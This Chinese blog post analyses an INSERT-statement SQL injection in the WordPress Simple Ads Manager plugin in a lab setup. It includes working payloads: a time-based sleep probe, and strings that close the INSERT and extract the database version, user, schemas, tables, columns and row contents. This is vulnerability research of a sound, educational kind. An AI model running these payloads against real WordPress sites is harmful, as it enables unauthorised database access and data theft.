2018年04月6日网站服务器迁移完成……

一个WordPress漏洞所引发的INSERT注入思考

技术流 苏 demo 1540℃ 0评论

前言

这篇文章是对一个WordPress插件注入漏洞研究的分析、实验和思考的记录。

概述

关于SQL注入,想必这里也不用多讲。互联网上关于SQL注入的Paper、Blog有很多,以及各个漏洞平台层出不穷的漏洞报告。但是,这些漏洞都有一个很大的共同点:数据查询参数过滤不够严谨所导致的Select型注入。

这两天在对一个WordPress插件漏洞分析的时候,发现其漏洞存在于Insert语句之中,和之前所接触到的漏洞有很大的不同。于是对这个漏洞进行了深入的分析、实验、思考、总结,下面是这次漏洞研究的详细过程。

过程记录

WordPress漏洞:

首先得说明一下这个WordPress插件漏洞(WordPress Simple Ads Manager), https://www.exploit-db.com/exploits/36613/ ,这个exploit中包括了多个注入漏洞,我们主要关注的是 SQL INJECTION 1.

30073754_uXKx

上图中主要的信息有三个,从上之下分别是:①注入页面 ②注入点 ③漏洞代码

漏洞环境:

为了能够漏洞重放,首先就是环境搭建。我的测试环境中有WordPress,只需要安装存在此漏洞的插件即可。下面是我的实验环境:

OS: CentOS 6.6
PHP: 5.3.3
Mysql: 5.1.73
WordPress: 4.2-zh_CN
Simple-Ads-Manager: 2.6.96

安装此插件后,需要启用此插件。然后在后台添加一个测试的Ad,并在文章中引用此Ad.下面是我的测试Ad:

当访问带有此Ad的页面是,就会触发此漏洞页面。

漏洞验证:

使用Burpsuite Repeater重放测试,正常的请求

红色框为请求的参数信息

action=sam_hits&hits%5B0%5D%5B%5D=1&hits%5B0%5D%5B%5D=1&level=3

解码为:

action=sam_hits&hits[0][]=1&hits[0][]=1&level=3

绿色框为返回的信息

竟然返回sql,不过这不是重点,都可以拿到源代码什么看不到呢?

这里有两个hits[0][],前面的对应的sql语句中的pid,后门的对应的是id. 下面根据上面的WordPress漏洞进行注入测试:

Paylaod: (select 1)

咋一看,虽然提示success,感觉有点不对劲。

Payload: (select * from (select (sleep(5)))abcd)

burpsuite经过5s左右成功响应,这里我用curl做一个对比

漏洞验证完毕,存在Time-Based Sql注入,造成此漏洞的原因是由于对hits未做过滤。下面就是不断的判断获取数据了,不过这不是我们想要的

注意: 为了能够和后面的ID区分,从下面开始我会将PID的值更改为数字2

思考:能否直接输出SQL查询?

Payload

能否直接输出SQL查询?要探究这个问题,我们可以将第一张图的第三处和Burpsuite返回的sql结合分析,有一种似曾相识的感觉:截断原有的数据,构造新的数据。

因为我们这里通过返回的sql知道这个表有5个字段,而我们测试的位置对应pid,所以构造的payload如下:

Payload: 2,null,null,null); --

返回success, 登录数据库确认数据成功插入。这里是在我们对字段数已知的情况下的测试,对于未知字段,完全可以通过N*null去测试。

输出点

payload可以执行,那怎么输出SQL查询呢?要能够输出就必须有输出点,很遗憾在这个环境下只能输入执行的状态。既然没有输出点,我们来构造一个数据点。这里我采用一个模拟的场景:这里的Ad过程,可以想象成用户提交评论,用户提交后可以在某个页面查询到此评论的内容。

这里本来不想改变数据库,不过在此表的结构不适合此模拟。

改动如下:

修改数据库,给wp_sam_status添加一个字段rmsg

alter table wp_sam_stats add column msg varchar(100) after remote_addr;

修改程序,修改文件/wp-content/plugins/simple-ads-manager/sam-ajax.php 117行

$sql = "INSERT INTO $sTable (id, pid, event_time, event_type, remote_addr) VALUES {$values};";
修改为
$sql = "INSERT INTO $sTable (id, pid, event_time, event_type, remote_addr, msg) VALUES {$values};";

测试payload:

获取基本信息:
2,null,null,null,(  select concat_ws(‘’:‘’,version(),user(),database()) )); --  
获取数据库:
2,null,null,null,(  select group_concat(unhex(hex(schema_name))) from information_schema.schemata  )); --  
获取数据表:
2,null,null,null,(  select group_concat(unhex(hex(table_name))) from information_schema.tables where table_schema=database()  )); --  
获取数据字段(已 wp_sam_stats 为例)
2,null,null,null,(  select group_concat(unhex(hex(column_name))) from information_schema.columns where table_name=‘’wp_sam_stats‘’ )); --  
获取数据内容
2,null,null,null,(  select group_concat(concat_ws(‘’:‘’,id,name)) from t1  )); --

数据库内容如下:

可以看到我们查询的数据已经插入到msg字段中,如果某个页面能够查看到此字段(比如评论查看),那么我们就可以直接输出SQL查询信息。

说明: 这里最后获取一个T1的表的内容,因为在测试的时候不知为何无法从wp_sam_stats中获取数据

总结

其实不管对于select、insert、delete、update型的注入,其注入的核心思想始终是不变的,我们只需根据不同的环境做相应的思想转变。通过本次的实验,我们可以得出以下结论:‍

INSERT类型注入的两个条件: ‍ ‍ ‍ ‍ ‍ ‍

①执行状态       ②输出点

Update: 上文中提到的思想,其实网上很久之前就存在了,但是在研究此漏洞之前,作者对这种类型的漏洞几乎没有实际的接触。上面的过程可以说是自己根据自己目前了解的知识,一步一步的分析和实践,最后抛出自己的个人见解,可以说此篇文章更侧重的是漏洞分析和扩展的过程。各位,刀下留人。

链接

插件地址: 下载链接

* 作者/Bang,属FreeBuf黑客与极客(FreeBuf.COM)原创奖励计划文章,未经许可禁止转载

打赏

转载请注明:苏demo的别样人生 » 一个WordPress漏洞所引发的INSERT注入思考

   如果本篇文章对您有帮助,欢迎向博主进行赞助,赞助时请写上您的用户名。
支付宝直接捐助帐号oracle_lee@qq.com 感谢支持!
喜欢 (0)or分享 (0)
发表我的评论
取消评论
表情